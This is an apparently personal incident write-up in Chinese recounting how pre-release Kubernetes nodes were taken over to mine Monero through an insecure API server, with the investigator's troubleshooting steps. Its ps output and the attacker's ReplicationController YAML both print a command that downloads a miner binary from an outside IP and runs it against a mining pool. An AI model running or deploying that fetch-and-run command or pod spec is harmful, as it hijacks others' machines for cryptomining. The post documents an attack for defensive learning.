记一次kubernetes被minerd挖矿入侵

花蜻宽

　　以下是Kubernetes环境遭minerd挖矿程序入侵排查回顾：
　　1. 某个月黑风高夜，临下班时，突然服务器A报警CPU占用过高，经查是minerd挖矿程序入侵。

　　2. 看看这个程序在干什么？
　　# ps aux | grep minerd
　　

root 23073 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x　　
root 23170 415 0.0 680236 14608 ? Ssl 20:18 39:07 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
　　
root 23329 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
　　
root 24161 395 0.0 680236 14360 ? Ssl 20:19 33:35 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
　　

　　威力很大，有三台服务器均在几分钟内CPU被耗尽而无法连接，只能重启一下调几分钟，反反复复。
　　3. 探索解决方法
　　百度谷歌了很多，得出一个结论，最有可能导致入侵的就是通过redis漏洞建立ssh连接操纵挖矿程序，笔者按照网上复制最多的解决方法做了以下操作：
　　- 防火墙禁止挖矿程序访问的域名，iptables -I INPUT -s xmr.pool.minergate.com -j DROP  && iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP
　　- 禁止root登录，sed -i 's/PermitRootLogin yes/PermitRootLogin no/'  /etc/ssh/sshd_config && service sshd restart，并查找ssh可疑文件和入侵痕迹
　　- 查找minerd程序运行路径并杀掉，这个地方我卡住了，因为怎么查都查不到minerd程序所在系统路径，我开始明白，这个程序已经不是当年的吴下阿蒙了，网上所有的方法已经对其不起作用，当我熬了一夜也没解决掉这个问题的时候，我发现了一个规律，这波攻击只涉及到了预发布环境的三台机器，生产环境并没有被入侵的迹象，于是我安心的睡了会儿觉。
　　4. 一觉醒来，继续战斗
　　当我脑子清醒一些的时候，我冷静的分析了一下预发布环境上运行的服务，是由Kubernetes负责调度的docker环境，于是从排查docker容器入手，果然发现了有5个容器在运行挖矿程序，这让我惊喜，终于知道为什么在系统里找不到程序的路径了，原来都运行在容器里。
　　5. 它凭什么能随意以root身份在我们的机器上运行容器呢？
　　通过排除法，我猜测可能是Kubernetes Master被控制了，由它调度其它三台机器运行挖矿程序，通过种种的蛛丝马迹，终于验证了这个猜测TT

　　# kubectl get rc mysql2 -o yaml  //查看该挖矿程序的rc yaml文件
　　

apiVersion: v1　　
kind: ReplicationController
　　
metadata:
　　creationTimestamp: 2017-06-26T12:18:06Z
　　generation: 1
　　labels:
　　app: mysql2
　　name: mysql2
　　namespace: default
　　resourceVersion: "10312428"
　　selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
　　uid: 823d6538-5a69-11e7-bf24-00163e0024e8
　　
spec:
　　replicas: 5
　　selector:
　　app: mysql2
　　template:
　　metadata:
　　creationTimestamp: null
　　labels:
　　app: mysql2
　　spec:
　　containers:
　　- command:
　　- sh
　　- -c
　　- curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd &&
　　setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560
　　-u didi123123321@gmail.com -p x
　　image: centos
　　imagePullPolicy: Always
　　name: mysql2
　　resources: {}
　　terminationMessagePath: /dev/termination-log
　　dnsPolicy: ClusterFirst
　　restartPolicy: Always
　　securityContext: {}
　　terminationGracePeriodSeconds: 30
　　volumes:
　　- emptyDir: {}
　　name: shared-data
　　
status:
　　fullyLabeledReplicas: 5
　　observedGeneration: 1
　　replicas: 5
　　

　　6. 后续工作
　　由于本人目前对kubernetes了解有限，所以将这个入侵的情况反映给老大，然后老大给定位到被入侵的原因是由于Kubernetes Apiserver不安全配置所致，Apiserver提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制，所以apiserver的安全至关重要。